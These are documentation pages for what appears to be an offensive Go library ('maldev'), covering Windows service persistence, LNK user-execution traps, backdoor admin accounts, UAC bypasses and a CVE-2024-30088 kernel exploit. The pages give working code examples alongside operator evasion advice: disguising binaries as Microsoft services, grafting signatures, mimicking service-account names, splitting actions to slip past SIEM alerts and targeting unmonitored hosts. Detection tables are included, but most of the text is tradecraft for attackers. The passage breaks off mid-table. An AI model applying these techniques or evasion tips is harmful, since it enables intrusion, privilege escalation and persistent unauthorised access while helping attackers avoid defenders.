"github.com/oioio-space/maldev/persistence/service"
)
const target = `C:\Windows\System32\svc-update.exe`
src, _ := os.Open("svc-update.exe")
dst, _ := os.Create(target)
_, _ = io.Copy(dst, src)
_ = src.Close()
_ = dst.Close()
_ = service.Install(&service.Config{
Name: "SvcUpdate",
DisplayName: "Service Update Helper",
Description: "Coordinates background service updates.",
BinPath: target,
StartType: service.StartAuto,
})
See ExampleService.
Advanced — service-account override
When LocalSystem is too noisy, pin the service to a built-in
low-priv principal (no password needed) or to a normal user
that already holds SeServiceLogonRight.
// 1. Built-in NT AUTHORITY\NetworkService — no password.
// Already holds SeServiceLogonRight.
_ = service.Install(&service.Config{
Name: "WinUpdateNetCheck",
DisplayName: "Windows Update Network Check",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
Account: `NT AUTHORITY\NetworkService`,
})
// 2. Domain account. Account MUST already hold
// SeServiceLogonRight (granted via secedit / GPO / LsaAddAccountRights).
_ = service.Install(&service.Config{
Name: "WinUpdateContext",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartManual,
Account: `CORP\svc-winupdate`,
Password: os.Getenv("MALDEV_SVC_PWD"),
})
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| System Event 7045 (service installed) | Universal; high-fidelity SIEM rule when correlated against unsigned binary or user-writable path |
| Security Event 4697 (service installed) | Audit log; same population as 7045 |
services.msc / sc query listing | Operator review; service description is the human-readable fingerprint |
autoruns.exe highlight | Sysinternals Autoruns flags unsigned services in red |
HKLM\SYSTEM\CurrentControlSet\Services\<Name> registry write | Sysmon Event 13 (registry value set); forensic timeline |
Service binary path under %TEMP%, %APPDATA%, %PROGRAMDATA% | Defender heuristic; legitimate services live under Program Files or System32 |
Service running as LocalSystem with outbound HTTPS to non-MS endpoint | Behavioural EDR — outbound profile mismatch with claimed identity |
Service with empty DisplayName / Description | Defender heuristic — legitimate services document themselves |
D3FEND counters:
Hardening for the operator:
- Pair with
pe/masquerade/preset/svchostso the binary's PE metadata matches a real Microsoft service host. - Pair with
pe/cert.Copyto graft an Authenticode blob (passes presence checks). - Drop the binary under
%SystemRoot%\System32\(admin required) — services inProgram FilesorSystem32draw less default scrutiny than ones under%PROGRAMDATA%. - Populate
DisplayName+Descriptionwith text that matches the cloned identity. - Avoid this technique on hosts with strict service-creation audit (Microsoft LAPS-protected, enterprise SOC-monitored).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1543.003 | Create or Modify System Process: Windows Service | full | D3-PSA, D3-SICA |
Limitations
- Admin required. SCM
CreateServiceneedsSC_MANAGER_CREATE_SERVICEwhich is admin-gated. - Service binary contract. The launched binary must
implement the SCM control protocol (respond to
ServiceMainstart,SERVICE_CONTROL_STOPetc.) or it will be killed within ~30 s. Implants that don't implement the contract should run asStartManual+ a separate trigger, or wrap the implant binary with thegolang.org/x/sys/windows/svcrunner. - Service-account override is one-shot.
Config.Account+Config.Passwordpropagate through tomgr.CreateServiceso non-LocalSystem services install fine. Pair withGrantSeServiceLogonRight(account)for user-account services where the principal doesn't already hold the right. Built-inNT AUTHORITY\NetworkService/LocalServiceneed neither the grant nor a password. - Boot/System start types.
StartBoot/StartSystemare kernel-driver-only; userland binaries with these start types are rejected by SCM. - Pre-Vista compatibility. Some legacy options (interactive desktop, etc.) are not exposed.
See also
pe/masquerade— clone svchost identity for the service binary.pe/cert— graft Authenticode signature.persistence/registry— sibling lower-noise persistence to pair as a fallback.persistence/scheduler— sibling lower-noise SYSTEM-scope persistence.cleanup— remove the service post-op.- Operator path.
- Detection eng path.
LNK shortcut creation
← persistence index · docs/index
TL;DR
Create Windows .lnk shortcut files via COM/OLE automation.
Fluent builder with three sinks: Save(path) (disk via
WScript.Shell), BuildBytes() (raw bytes, zero-disk via
IShellLinkW + IPersistStream::Save on an HGLOBAL-backed
IStream), and WriteTo(io.Writer) (same zero-disk path,
streamed to any operator-controlled writer). Used as the
primitive for persistence/startup, and
standalone for T1204.002 user-execution traps (Desktop / Quick
Launch / Documents drops). Windows-only.
Primer
LNK files are the Windows shell's canonical "double-click to launch" artefact. They carry a target path, optional arguments, working directory, an icon resource, and a window-style hint. Windows Explorer renders them as their target's icon; the user sees a familiar app and clicks.
The COM/OLE path (WScript.Shell.CreateShortcut) is the same
surface PowerShell's WScript.Shell ComObject uses. It produces
a fully-formed shell link with no shellbag side-effects and no
shortcut-file footer Microsoft signs as part of the SmartScreen
Mark-of-the-Web pipeline — unlike a downloaded .lnk, this one
carries no MOTW.
How It Works
sequenceDiagram
participant Caller
participant COM as "STA apartment"
participant Shell as "WScript.Shell"
participant Sc as "IWshShortcut"
Caller->>COM: CoInitializeEx STA
Caller->>Shell: CoCreateInstance WScript.Shell
Caller->>Shell: CreateShortcut path
Shell-->>Sc: IWshShortcut dispatch
Caller->>Sc: PutProperty TargetPath, Arguments, Icon, Style, Desc, WorkDir
Caller->>Sc: Save
Sc-->>Caller: lnk on disk
Caller->>COM: Release then CoUninitialize
The zero-disk path (BuildBytes and WriteTo) swaps the Shell
automation actors for a direct IShellLinkW + IPersistStream chain:
sequenceDiagram
participant Caller
participant COM as "STA apartment"
participant Sl as "IShellLinkW"
participant PS as "IPersistStream"
participant Stream as "IStream on HGLOBAL"
Caller->>COM: CoInitializeEx STA
Caller->>Sl: CoCreateInstance CLSID_ShellLink
Caller->>Sl: SetPath, SetArguments, SetIconLocation, SetShowCmd, SetHotkey
Caller->>Sl: QueryInterface IID_IPersistStream
Sl-->>PS: IPersistStream pointer
Caller->>Stream: CreateStreamOnHGlobal NULL TRUE
Caller->>PS: Save Stream TRUE
PS-->>Stream: bytes written into HGLOBAL
Caller->>Stream: GetHGlobalFromStream and GlobalLock
Stream-->>Caller: byte slice
Caller->>Stream: Release
Caller->>PS: Release
Caller->>Sl: Release
Caller->>COM: CoUninitialize
The builder runs runtime.LockOSThread because COM apartments
are per-thread. Every call to Save tears the apartment down so
the package leaves no apartment state behind. All COM resources
are released even on the error path.
For BuildBytes / WriteTo, the path swaps WScript.Shell for
a direct CoCreateInstance(CLSID_ShellLink, IID_IShellLinkW),
configures the shortcut via raw vtable calls (SetPath,
SetArguments, SetWorkingDirectory, SetDescription,
SetIconLocation, SetShowCmd), then QueryInterface-s for
IPersistStream and calls Save(stream) against an IStream
created by CreateStreamOnHGlobal(NULL, fDeleteOnRelease=TRUE).
Bytes are extracted from the underlying HGLOBAL via
GetHGlobalFromStream / GlobalLock before the stream — and
thus the HGLOBAL — is released. No filesystem call is
made at any point.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/persistence/lnk is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — Desktop launcher
import "github.com/oioio-space/maldev/persistence/lnk"
_ = lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
SetArguments("/c whoami").
SetWindowStyle(lnk.StyleMinimized).
Save(`C:\Users\Public\Desktop\link.lnk`)
Composed — donor icon + minimised
Use notepad.exe's icon and a benign description so Explorer
renders the shortcut indistinguishably from a real notepad
launcher.
_ = lnk.New().
SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
SetArguments("--update").
SetIconLocation(`C:\Windows\System32\notepad.exe,0`).
SetDescription("Notes").
SetWindowStyle(lnk.StyleMinimized).
Save(`C:\Users\Public\Desktop\Notes.lnk`)
Advanced — Quick Launch user-execution trap
Drop into Quick Launch where a freshly logged-on user is most likely to click without inspection.
import (
"os"
"path/filepath"
"github.com/oioio-space/maldev/persistence/lnk"
)
appData := os.Getenv("APPDATA")
qLaunch := filepath.Join(appData,
`Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar`)
_ = lnk.New().
SetTargetPath(`C:\ProgramData\Microsoft\winupdate.exe`).
SetIconLocation(`C:\Windows\System32\mmc.exe,0`).
SetDescription("Computer Management").
SetWindowStyle(lnk.StyleNormal).
Save(filepath.Join(qLaunch, "Computer Management.lnk"))
Stealth landing — bytes through an operator-controlled Creator
WriteVia keeps the in-memory build (BuildBytes) and then routes
the final write through any
stealthopen.Creator — transactional
NTFS, encrypted-stream wrapper, alternate data stream, raw
NtCreateFile, etc. Same composition story as stealthopen.Opener
for read paths.
import (
"github.com/oioio-space/maldev/evasion/stealthopen"
"github.com/oioio-space/maldev/persistence/lnk"
)
// Operator's anti-EDR write primitive (their package, their Open/Close).
var creator stealthopen.Creator = myEDRBypassCreator{}
_ = lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
SetWindowStyle(lnk.StyleMinimized).
WriteVia(creator, `C:\Users\Public\Desktop\Notes.lnk`)
// nil creator falls back to os.Create — drop-in replacement for Save:
_ = lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
WriteVia(nil, `C:\Users\Public\Desktop\Notes.lnk`)
Zero-disk — bytes for C2 staging
Build the LNK fully in memory via IShellLinkW +
IPersistStream::Save on an HGLOBAL-backed IStream. No file
is opened, created, or read on disk at any point — useful when
the operator wants to encrypt/transport/embed the artefact
through their own write primitive.
import (
"bytes"
"github.com/oioio-space/maldev/persistence/lnk"
)
raw, err := lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
SetArguments("/c whoami").
SetWindowStyle(lnk.StyleMinimized).
BuildBytes()
if err != nil {
return err
}
// `raw` is a fully-formed LNK byte stream, ready for embedding,
// encryption, or transport over a C2 channel.
// Or stream directly into any io.Writer (encrypted ADS, in-memory
// mount, custom anti-EDR Opener, …).
var buf bytes.Buffer
if _, err := lnk.New().
SetTargetPath(`C:\Windows\System32\cmd.exe`).
WriteTo(&buf); err != nil {
return err
}
See ExampleNew.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| LNK file written outside StartUp folders | Generally noise — every Office install creates LNKs |
| LNK file written inside StartUp folders | Path-scoped EDR rules (Defender, MDE) — high-fidelity |
| LNK file with mismatched icon vs target | Mature EDR cross-checks IconLocation PE vs TargetPath PE |
| LNK pointing at user-writable / temp paths | Defender heuristic — system shortcuts target System32, not %TEMP% |
WScript.Shell COM call from non-script process | ETW Microsoft-Windows-WMI-Activity / similar; rare in non-script processes |
| MOTW absence on a downloaded LNK | SmartScreen / Get-Item ... -Stream Zone.Identifier |
D3FEND counters:
- D3-FCA — LNK header structure analysis; well-known parser libraries flag suspicious target/icon mismatches.
- D3-UA — track user-execution chains.
Hardening for the operator:
- Match
IconLocationto a PE consistent with the displayed description. - For startup persistence, prefer
persistence/startupwhich wrapslnkwith the right paths. - Don't drop in
%TEMP%/%APPDATA%\Local\Temp— those paths draw default rules. - For user-execution traps, use a name + icon a real user would not double-take (Documents folder, with their actual recent-doc names).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1547.009 | Boot or Logon Autostart Execution: Shortcut Modification | full — LNK creation primitive | D3-FCA |
| T1204.002 | User Execution: Malicious File | partial — produces the LNK; user click is out-of-band | D3-UA |
Limitations
- Windows-only. No cross-platform stub — calls are guarded
by
//go:build windows. - COM apartment overhead.
runtime.LockOSThreadis held for the duration of every sink (Save,BuildBytes,WriteTo); high-frequency LNK creation paths benefit from batching builders behind a single COM init. - Zero-disk path is amd64-only in practice.
BuildBytes/WriteTouse raw COM vtable calls viasyscall.SyscallNand rely on the Windows x64 ABI — the calls compile underGOARCH=386but argument passing forIShellLinkWsetters has not been verified on 32-bit. Treat 64-bit Windows as the supported target. - Custom
LinkFlags/EXTRA_DATA_BLOCKs. Callers needing fields neitherIWshShortcutnorIShellLinkWexpose (custom flags, signed property store entries, console block tweaks) still need a separate parser / writer — neither sink reaches past those interfaces. - No LNK reading. This package writes only; reading existing LNKs requires a separate parser.
SaveandBuildBytesare NOT byte-identical.WScript.Shell.IWshShortcut.Save(path)auto-computesRELATIVE_PATHfrom itspathargument (used by the Windows shell as a fallback resolver if the absolute target moves).BuildBytesrunsIPersistStream::Saveagainst an in-memory IStream — nopathreference is available, so theHasRelativePathflag stays clear and the corresponding StringData block is omitted (~50–100 bytes shorter output). Operators that need byte-equivalence under forensic comparison must either useSaveor extend the builder with a typedSetRelativePathaccessor (backlog item). Verified byTestBuildBytes_DivergesFromSave_OnRelativePathagainst the Windows10 VM target (commitdde3f5c..).- MOTW absent. Locally-created LNKs carry no
Zone.IdentifierADS — useful for the operator, but a forensic tell when correlating LNKs against download history. - Hotkey parser scope. Both sinks honour
SetHotkey. TheBuildBytespath translates the WSH string ("Ctrl+Alt+T","Shift+F1","Alt+1") into the packedWORDform (HOTKEYF_* << 8 | VK_*) expected byIShellLinkW::SetHotkey. Recognised modifiers:Ctrl/Control,Alt,Shift,Ext. Recognised keys: A–Z, 0–9, F1–F24. Anything else (numpad, OEM, multimedia VKs) is silently dropped — extendparseHotkeyif needed.
See also
persistence/startup— primary consumer (StartUp-folder persistence).pe/masquerade— donor binary for matching VERSIONINFO / icon.cleanup— remove the LNK post-op.- Operator path.
- Detection eng path.
Local account creation
← persistence index · docs/index
TL;DR
Create a backdoor local user account that survives reboots,
password rotations on other accounts, and full implant removal.
Add the account to Administrators (SID-500 group) for full
local control.
| You want to… | Use | Telemetry |
|---|---|---|
| Add a backup admin account | Add + AddToGroup "Administrators" | Security 4720 (account created) + 4732 (group add) |
| Modify password / properties | SetInfo | Security 4724 (password reset) |
| Delete an account (cleanup) | Delete | Security 4726 |
| List accounts (recon) | Enum | Read-only — no Security log entry |
What this DOES achieve:
- Independent credential — survives any cleanup that doesn't enumerate all local users.
- Member of
Administrators= full local control without needing to maintain implant access. - Standard NetAPI32 calls — no
net userchild-process signal.
What this does NOT achieve:
- Loudest persistence option in this tree — every action emits Security events that mature SIEMs cluster on.
- Easily inventoried —
net user/Get-LocalUserlists every account on the machine. Defenders running periodic user audits notice the new account immediately. - Doesn't bypass admin requirement —
NetUserAddneeds Administrator. For non-admin alternatives seepersistence/registry(HKCU) orpersistence/startup-folder. - Domain-joined hosts: local accounts only. Domain account
creation is a different attack class entirely (DC access,
domain admin, Kerberos manipulation — see
credentials/goldenticket).
Primer
Creating a local account gives the operator a credential that
survives reboots, password rotations on other accounts, and
implant removal. Adding the account to Administrators (the
SID-500 group) gives full local control. The trade-off is
volume: SAM events are universally audited and any half-decent
SIEM rule fires on a local-admin add from a non-IT context.
The package wraps the canonical Net* Win32 admin APIs — same
surface that net user, Computer Management MMC, and PowerShell's
New-LocalUser use. There is no stealthier API for local-account
manipulation; the loudness is inherent to the technique.
How It Works
sequenceDiagram
participant Op as "Operator"
participant API as "NetAPI32"
participant SAM as "Local SAM database"
participant Audit as "Security audit log"
Op->>API: NetUserAdd("svc-update", "P@ss…")
API->>SAM: USER_INFO_1 record
SAM-->>Audit: Event 4720 (account created)
SAM-->>Audit: Event 4722 (account enabled)
Op->>API: NetLocalGroupAddMembers("Administrators", "svc-update")
API->>SAM: alias-member entry
SAM-->>Audit: Event 4732 (user added to group)
Note over Audit: SIEM correlation: account creation + admin add<br>from non-IT lineage = high-fidelity alert
The package's Add posts a USER_INFO_1 (level 1: name +
password + privilege + home-dir + comment + flags +
script-path) so the account is created enabled and password-set
in a single call. SetAdmin is NetLocalGroupAddMembers against
the well-known Administrators alias.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/persistence/account is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — add a service-looking account
import "github.com/oioio-space/maldev/persistence/account"
_ = user.Add("svc-update", "P@ssw0rd!2024")
defer user.Delete("svc-update")
Composed — add admin + group cleanup
if !user.IsAdmin() {
return fmt.Errorf("requires local admin")
}
_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")
// Tear down on uninstall
defer func() {
_ = user.RevokeAdmin("svc-update")
_ = user.Delete("svc-update")
}()
Advanced — pair with service persistence
Run the implant as the new account so the service uses its credential at every restart — credential persistence + autostart in one composite mechanism.
import (
"github.com/oioio-space/maldev/persistence"
"github.com/oioio-space/maldev/persistence/account"
"github.com/oioio-space/maldev/persistence/service"
)
_ = user.Add("svc-update", "P@ssw0rd!2024")
_ = user.SetAdmin("svc-update")
mechanisms := []persistence.Mechanism{
service.Service(&service.Config{
Name: "WinUpdate",
BinPath: `C:\ProgramData\Microsoft\winupdate.exe`,
StartType: service.StartAuto,
// The service runs as LocalSystem by default; specifying
// svc-update would route through SCM ChangeServiceConfig
// and require LogonAsAService.
}),
}
_ = persistence.InstallAll(mechanisms)
See ExampleAdd.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Security 4720 (user created) | Universal audit; SIEM rule: 4720 from non-IT-OU = high-fidelity alert |
| Security 4722 (user enabled) | Pairs with 4720 in baseline rules |
| Security 4732 (member added to group) | Especially for Administrators / Backup Operators / Remote Desktop Users SIDs |
| Security 4724 (password reset by another account) | SetPassword on a non-self account |
NetUserAdd API call from a non-IT process | EDR API telemetry (Defender ATP, MDE) |
Net1.exe / dsadd.exe lineage absence | Direct API use bypasses child-process telemetry but emits the same audit events |
D3FEND counters:
Hardening for the operator:
- Pick a name that mimics service accounts (
svc-*,WindowsUpdate,defender-cu) — naive correlation against user-named accounts misses these. - Don't immediately add to Administrators on creation — split the actions across hours or use a Backup Operators / Remote Desktop Users membership instead, which raises lower-priority alerts.
- Pair with
cleanupto delete the account at op end — long-lived dormant accounts attract proactive review. - Avoid this technique entirely if the target has Just-In-Time admin (Microsoft LAPS, Azure PIM); event 4720 there is effectively a tripwire.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1136.001 | Create Account: Local Account | full | D3-LAM |
| T1098 | Account Manipulation | partial — group-membership add/remove via AddToGroup / SetAdmin | D3-UAP |
Limitations
- Admin required for most operations.
Add,Delete,SetAdmin,SetPassword(against another account) need local administrator.IsAdminlets the caller check before attempting. - Domain-joined hosts. Group Policy can disable local
account creation entirely (
DenyAddingLocalAccounts); the call returnsERROR_INVALID_PARAMETER. - Audit cannot be suppressed from user mode. SAM events fire pre-authorization; only kernel-level tampering (out-of-scope) silences them.
- No domain-account support. This package wraps
NetUserAddagainst the local SAM only. Domain accounts require LDAP /NetUserAddto a DC — separate concern.
See also
persistence/service— pair to run the implant under the new account.credentials— alternative credential acquisition with lower noise.privesc— pair to obtain admin for the initial Add.cleanup— remove the account at operation end.- Operator path.
- Detection eng path.
Privilege escalation (privesc/*)
The privesc/* package tree groups primitives that take a
non-elevated user token and produce SYSTEM-context execution.
flowchart TB
subgraph startState [Start state]
Medium["Medium-IL token<br>(typical user)"]
end
subgraph paths [Escalation paths]
UAC["uac/*<br>fodhelper / slui /<br>silentcleanup / eventvwr"]
CVE["cve202430088/*<br>kernel TOCTOU race"]
end
subgraph end [End state]
High["High-IL token (UAC)"]
SYSTEM["NT AUTHORITY\\SYSTEM<br>(token swap)"]
end
Medium -->|admin user, UAC default| UAC
UAC --> High
Medium -->|vulnerable build < 2024-06| CVE
CVE --> SYSTEM
Where to start (novice path):
- Are you Medium-IL admin user? →
uac. UAC bypass methods (FODHelper / SLUI / SilentCleanup / EventVwr) silently elevate to High-IL without a prompt. Pick by build window.- Need full SYSTEM, not just High-IL? → check the host build via
win/version; if pre-June-2024 Windows 10/11,cve202430088. Otherwise you need a different exploit (out of scope here).- Already SYSTEM, want TrustedInstaller? →
win/impersonate.RunAsTrustedInstaller.- The decision tree below covers every common state / target permutation.
Decision tree
| State / question | Path |
|---|---|
| "User is admin, UAC is default-notify, just need elevation." | privesc/uac — pick the bypass that survives the build |
| "Need SYSTEM, host build < June 2024 patch." | privesc/cve202430088 |
| "Already SYSTEM, need TrustedInstaller." | win/impersonate.RunAsTrustedInstaller |
| "Already admin, need elevation without UAC bypass." | win/privilege.ShellExecuteRunAs (visible UAC prompt) |
Per-package pages
- uac.md — four bypass primitives (FODHelper, SLUI, SilentCleanup, EventVwr) with build-window tables.
- cve202430088.md — CVE-2024-30088 kernel TOCTOU race with pre-flight version probe and BSOD-risk caveat.
Pre-flight pattern
import (
"github.com/oioio-space/maldev/win/version"
"github.com/oioio-space/maldev/win/privilege"
)
admin, elevated, _ := privilege.IsAdmin()
switch {
case elevated:
// already there
case admin && !elevated:
// UAC bypass
case !admin:
// CVE path or credential capture
}
if info, _ := version.CVE202430088(); info.Vulnerable {
// kernel race available
}
MITRE ATT&CK rollup
| ID | Technique | Owners |
|---|---|---|
| T1548.002 | Bypass User Account Control | privesc/uac |
| T1068 | Exploitation for Privilege Escalation | privesc/cve202430088 |
| T1134.001 | Token Impersonation/Theft | privesc/cve202430088 (token swap) |
See also
docs/techniques/tokens/— token-level primitivesdocs/techniques/win/version.md— pre-flight version + UBR probedocs/techniques/tokens/— Layer-1 token primitives that gate every privesc path
UAC bypasses
← privesc techniques · docs/index
TL;DR
Five primitives that hijack auto-elevating Windows binaries to spawn an elevated process without a consent prompt when the calling user is already in Administrators and UAC is at the "Default" level (the OS shipping default).
| Primitive | Hijack target | Surface | Build cut-off |
|---|---|---|---|
uac.FODHelper(path) | fodhelper.exe ms-settings\CurVer | HKCU registry | Win10 1709 → 24H2 (working as of 22H2 — vendors patch periodically) |
uac.SLUI(path) | slui.exe exefile shell\open | HKCU registry | Win7+ |
uac.SilentCleanup(path) | SilentCleanup task windir env | HKCU env | Win8+ |
uac.EventVwr(path) | eventvwr.exe mscfile shell\open | HKCU registry | Win7 → 17134 |
uac.EventVwrLogon(...) | EventVwr + alt-creds | HKCU registry + Secondary Logon | as EventVwr |
[!IMPORTANT] All five hijack auto-elevation behaviour, so they require:
- Caller already runs as a member of Administrators (UAC downgrades elevation under "Default" but does not exist when the user is not admin).
- UAC level is not "Always notify" — that level cannot be silenced.
Primer
UAC's "Default" mode auto-elevates a small set of trusted system
binaries (those with autoElevate=true in their manifest and
located under System32). When such a binary launches it inherits
the user's full admin token without prompting. If that binary then
reads a registry key or environment variable from HKCU (or
HKEY_CURRENT_USER evaluated under the original user's context)
and uses it as a command path, an attacker can pre-stage that
path to point at their payload.
Each technique exploits one such delegation:
- fodhelper.exe reads
HKCU\Software\Classes\ms-settings\Shell\Open\Commandbefore falling back to HKLM. - slui.exe reads
HKCU\Software\Classes\exefile\shell\open\command. - SilentCleanup task runs as elevated and resolves
%windir%from the per-user environment. - eventvwr.exe reads
HKCU\Software\Classes\mscfile\shell\open\command.
How it works
sequenceDiagram
participant Op as "Operator"
participant Reg as "HKCU registry"
participant Auto as "fodhelper.exe (auto-elev)"
participant Shell as "Shell\Open\Command"
Op->>Reg: write ms-settings\Shell\Open\Command = payload.exe
Op->>Auto: ShellExecute(fodhelper.exe)
Note over Auto: kernel grants High-IL token<br>(autoElevate=true + System32 + signed)
Auto->>Reg: read ms-settings\Shell\Open\Command
Reg-->>Auto: payload.exe
Auto->>Shell: CreateProcess(payload.exe)
Shell-->>Op: payload runs at High IL
Op->>Reg: cleanup hijack key (defer)
Common implementation skeleton (all 4 follow the same shape):
- Open / create the hijack key under
HKCU. - Set the default value to the operator's
path. - Possibly set
DelegateExecuteto empty (FODHelper-style). ShellExecuteWthe auto-elevating binary.- Wait briefly for the spawn (Sleep ~1s — the auto-elev binary is a fast-cleanup target).
- Delete the hijack key.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/privesc/uac is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — FODHelper
if err := uac.FODHelper(`C:\Users\Public\impl.exe`); err != nil {
return err
}
// Sleep enough for fodhelper.exe to read+launch before cleanup.
time.Sleep(2 * time.Second)
Composed — pre-flight then choose
import (
"github.com/oioio-space/maldev/privesc/uac"
"github.com/oioio-space/maldev/win/privilege"
"github.com/oioio-space/maldev/win/version"
)
admin, elevated, _ := privilege.IsAdmin()
if elevated || !admin {
return errors.New("not a UAC scenario")
}
v := version.Current()
switch {
case version.AtLeast(version.WINDOWS_10_22H2):
return uac.FODHelper(payload)
case v.BuildNumber >= 7600 && v.BuildNumber < 17134:
return uac.EventVwr(payload)
default:
return uac.SilentCleanup(payload)
}
Advanced — chain into ImpersonateThread
After the bypass spawns an elevated child, the child can call
win/impersonate.GetSystem for the
Medium-IL → SYSTEM jump (winlogon.exe token clone). End-to-end:
Medium → High via UAC → SYSTEM via SeDebugPrivilege.
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
| HKCU registry write | Sysmon ID 13 / 14 | Use Software\Classes\<random> key only when needed; clean fast |
| Auto-elev process tree | Sysmon ID 1 + parent-child rule | Inject into explorer.exe first to break the lineage |
| Hijacked binary parent of cmd | Microsoft-Windows-Security 4688 | Same as above |
| Build-windowed primitives | Vendor signatures recognise the hijack key paths | Choose primitive per win/version |
fodhelper.exe → cmd.exe is a textbook EDR rule. Real engagements
inject the elevated payload into a long-lived child (e.g.,
process/herpaderping) rather than
spawning cmd.exe directly.
MITRE ATT&CK
- T1548.002 (Bypass User Account Control)
Limitations
- All five fail under "Always notify" UAC.
- All five fail when the user is not admin.
- HKCU key paths and DelegateExecute behaviour have shifted across
builds.
EventVwris dead from Win10 17134+. - The hijack window is narrow but non-zero — defenders snapshotting HKCU during incident response will see the leftover key.
See also
win/privilege— IsAdmin / ExecAswin/version— build gatingprocess/herpaderping— disposable elevated host processprivesc/cve202430088— kernel route to SYSTEM (no UAC dependency)
CVE-2024-30088 — kernel TOCTOU → SYSTEM
← privesc techniques · docs/index
TL;DR
cve202430088.Run(ctx) exploits a Windows kernel TOCTOU race in
AuthzBasepCopyoutInternalSecurityAttributes to swap the calling
thread's primary token with lsass.exe's SYSTEM token. CVSS 7.0,
patched June 2024 (KB5039211). Use only in authorised
engagements — the race is non-deterministic and may BSOD on misfire.
[!WARNING] Race exploits crash kernels when they misfire. The exploit retries until success or context cancellation. Do not run on hosts where a reboot is unacceptable. Always pre-flight with
version.CVE202430088()to confirm the host is in the vulnerable build window.
Primer
AuthzBasepCopyoutInternalSecurityAttributes is invoked by
NtAccessCheckByTypeAndAuditAlarm when the caller queries a
SECURITY_DESCRIPTOR they own. The kernel reads the descriptor,
validates it, and then re-reads to copy. Between the two reads the
attacker swaps the descriptor pointer to a kernel object — the
second read lands inside kernel space and the kernel happily writes
the operator-controlled bytes to the new target.
The write primitive is pivoted into a token swap:
- Locate
lsass.exe's_EPROCESSand read itsToken. - Use the kernel write to overwrite
_EPROCESS.Tokenof the calling process with the SYSTEM token. - Subsequent thread spawns inherit SYSTEM — the elevation is permanent for the process lifetime.
Discovery: k0shl (Angelboy) — DEVCORE. CWE-367.
Affected versions
| OS | Vulnerable until | Patched in |
|---|---|---|
| Windows 10 1507 → 22H2 | June 2024 patch | KB5039211 family |
| Windows 11 21H2 → 23H2 | June 2024 patch | KB5039239 / KB5039212 |
| Windows Server 2016 / 2019 / 2022 / 2022 23H2 | June 2024 patch | KB504xxxx family |
version.CVE202430088() returns the precise vulnerable/patched
state including the UBR cut-off.
How it works
sequenceDiagram
participant U as "User-mode race-thread"
participant K as "Kernel"
participant Lsa as "lsass.exe (PPL)"
par Race thread
U->>U: flip SD ptr → kernel obj
and Probe thread
U->>K: NtAccessCheckByTypeAndAuditAlarm(SD*)
K->>K: read SD (validate)
K->>K: re-read SD (copy)
Note over K: SD ptr now points to kernel obj<br>(race won)
K->>K: kernel write @ controlled addr
end
U->>K: read lsass _EPROCESS.Token
K-->>U: SYSTEM token handle
U->>K: kernel write self._EPROCESS.Token = SYSTEM
K-->>U: success
U->>U: spawn cmd.exe — inherits SYSTEM
Implementation:
Runresolves the kernel symbols it needs viawin/versiongated lookup tables (offsets to_EPROCESS.Token,Pcb.ImageFileName).- Spawns the race thread that flips the descriptor pointer in a tight loop.
- Spawns the probe thread that calls
NtAccessCheckByTypeAndAuditAlarmrepeatedly. - Once a write lands the exploit reads
lsass.Tokenand overwritesself.Token. - By default, spawns
cmd.exeas the post-elevation command. UseRunWithExecto override.
API → godoc
pkg.go.dev/github.com/oioio-space/maldev/privesc/cve202430088 is the authoritative
reference for every exported symbol. This page teaches the
concepts; the godoc is the specification.
Examples
Simple — pre-flight then run
import (
"context"
"github.com/oioio-space/maldev/privesc/cve202430088"
"github.com/oioio-space/maldev/win/version"
)
if info, _ := version.CVE202430088(); !info.Vulnerable {
return errors.New("host patched")
}
res, err := cve202430088.Run(context.Background())
if err != nil {
return err
}
defer res.Spawned.Wait()
Composed — custom payload spawn
cfg := cve202430088.Config{
Exec: `C:\Users\Public\impl.exe`,
Args: []string{"--once", "--quiet"},
Timeout: 60 * time.Second,
}
res, err := cve202430088.RunWithExec(context.Background(), cfg)
if err != nil {
return err
}
log.Printf("elevated in %s, payload PID %d", res.Duration, res.Spawned.Process.Pid)
Advanced — fall-through chain
admin, elevated, _ := privilege.IsAdmin()
if elevated {
return nil // already there
}
if admin {
if err := uac.FODHelper(payload); err == nil {
return nil
}
// UAC bypass blocked → fall through to kernel exploit
}
if info, _ := version.CVE202430088(); info.Vulnerable {
_, err := cve202430088.Run(ctx)
return err
}
return errors.New("no escalation path available")
OPSEC & Detection
| Vector | Visibility | Mitigation |
|---|---|---|
Tight NtAccessCheckByTypeAndAuditAlarm loop | ETW Microsoft-Windows-Threat-Intelligence | Throttle race thread; accept lower success rate |
_EPROCESS.Token swap detected by snapshot diffing | EDR kernel callbacks (PsSetCreateProcessNotifyRoutineEx) | None — the swap is the goal |
| BSOD on misfire | Crash dump + 0x7E / 0x50 stop code | Pre-flight version check; abort on hardened hosts |
| Post-elev cmd.exe | Process tree (your PID parent of cmd.exe SYSTEM) | Use RunWithExec for in-process payload spawn |
This primitive is in vendor signature databases as of mid-2024. Defender + ESET + Sentinel detect the race window via ETW. Best deployed on hosts you have already determined are unmonitored.
MITRE ATT&CK
- T1068 (Exploitation for Privilege Escalation) — kernel TOCTOU
- T1134.001 (Token Impersonation/Theft) —
